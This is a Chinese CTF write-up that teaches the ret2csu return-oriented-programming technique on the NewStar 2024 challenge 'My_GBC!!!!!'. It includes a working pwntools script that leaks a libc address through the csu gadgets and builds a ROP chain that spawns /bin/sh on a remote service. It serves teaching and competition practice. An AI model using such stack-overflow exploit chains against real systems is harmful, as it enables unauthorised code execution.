写到newstar的week2才发现一直没写过有关ret2csu的博客,刚好有例题,乘着这个机会写个相关的知识点介绍
知识点
一般在二进制文件中一般有这样的两个函数,大部分的文件都有,我们今天的的csu的汇编就是在这两函数的下面
这就是我们今天的主角
先来介绍一下这两函数
下面的部分函数(我们称之为csu2)(主要是改变寄存器的值)
1 2 3 4 5 6 7 8 9
| loc_4013A6: add rsp, 8 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 retn
|
这段代码应该都看的懂,就是先把rsp栈顶寄存器+8,再依次把参数弹入相应的寄存器中去
在这个漏洞利用之中一般都是先利用下面的条件进行寄存器值的改变,最后再调用csu1进行执行
上面的部分函数(我们姑且称之为csu1)
1 2 3 4 5 6 7 8 9
| loc_401390:
mov rdx, r14 mov rsi, r13 mov edi, r12d call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] add rbx, 1 cmp rbp, rbx jnz short loc_401390 //jnz是不相等是跳转,我们不想再来一遍,所以要让rbp与rbx的值相等
|
1
| call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
|
这个函数是整个过程的重中之重,是call (r15的地址加上rbx的地址*8)里面的函数
一般我们会选择讲rbx的值设置为0(csu2),所以这里一般是call r15里面的函数(如果是调用指定的函数应是got表),这里是直接调用地址里面的函数,所以不是直接调用plt表
适用范围
1.有足够的溢出空间
2.关键寄存器的改变找不到
刚刚好有个题目完美符合条件
例题:newstar 2024 week2 My_GBC!!!!!
就开了NX保护,上面的主函数中可以看到很明显的栈溢出漏洞
不过这道题目有个坑点,它对我们输入的数据进行了加密
点入加密函数,我们发现逻辑非常简单,每个字节异或一个key,再左移3位
我们写出解密函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def rol(byte, shift): """左循环移位操作""" return ((byte << shift) & 0xFF) | (byte >> (8 - shift))
def ror(byte, shift): """右循环移位操作""" return (byte >> shift) | ((byte << (8 - shift)) & 0xFF)
def decrypt(payload, key): """解密函数""" length = len(payload) decrypted_data = bytearray(length) # 用于存储解密后的数据
for i in range(length): # 先进行右循环移位操作 shifted_byte = ror(payload[i], 3) # 然后进行异或操作 decrypted_data[i] = shifted_byte ^ key
return decrypted_data
|
这是我们想retlibc时发现没有pop rdx来指定write函数泄露的字节,write只能打印出1个字节,这样肯定是不能泄露出libc的地址的,所以我们只能靠csu了
思路出来了,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import * from LibcSearcher import * context(log_level='debug')
#p = process('./pwn') p=remote('8.147.132.32',34489)
def rol(byte, shift): """左循环移位操作""" return ((byte << shift) & 0xFF) | (byte >> (8 - shift))
def ror(byte, shift): """右循环移位操作""" return (byte >> shift) | ((byte << (8 - shift)) & 0xFF)
def decrypt(payload, key): """解密函数""" length = len(payload) decrypted_data = bytearray(length) # 用于存储解密后的数据
for i in range(length): # 先进行右循环移位操作 shifted_byte = ror(payload[i], 3) # 然后进行异或操作 decrypted_data[i] = shifted_byte ^ key
return decrypted_data
# 示例用法 key = 0x5A # 假设的密钥 elf = ELF('./pwn') libc=ELF('./libc.so.6') write=0x4012f8 pop_rdi=0x4013b3 pop_rsi=0x4013b1 pop_rbp=0x40115d csu_addr=0x401390 csu1_addr=0x4013AA write_plt=elf.plt['write'] write_got=elf.got['write'] ret=0x40101a offset=16
main_addr=elf.sym['main']
def csu1(rbx, rbp, r12, r13, r14, r15): payload=p64(csu1_addr) payload+=p64(rbx) payload+=p64(rbp) payload+=p64(r12) payload+=p64(r13) payload+=p64(r14) payload+=p64(r15) return payload def csu(rbx, rbp, r12, r13, r14, r15): payload=csu1(rbx, rbp, r12, r13, r14, r15) payload+=p64(csu_addr)
return payload
#gdb.attach(p) #pause() payload1=b'a'*0x18+csu(0,1,1,write_got,8,write_got)+b'a'*56+p64(main_addr)
payload2=decrypt(payload1,key)
p.sendline(payload2)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['write']
print(hex(leak_addr))
libc_base=leak_addr
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh')) system_addr=libc_base+libc.sym['system']
payload3=b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
payload4=decrypt(payload3,key)
p.sendlineafter('ing:',payload4)
p.interactive()
|
没看懂可以看这里有个师傅讲解了
newstar第二周pwn讲解录屏_哔哩哔哩_bilibili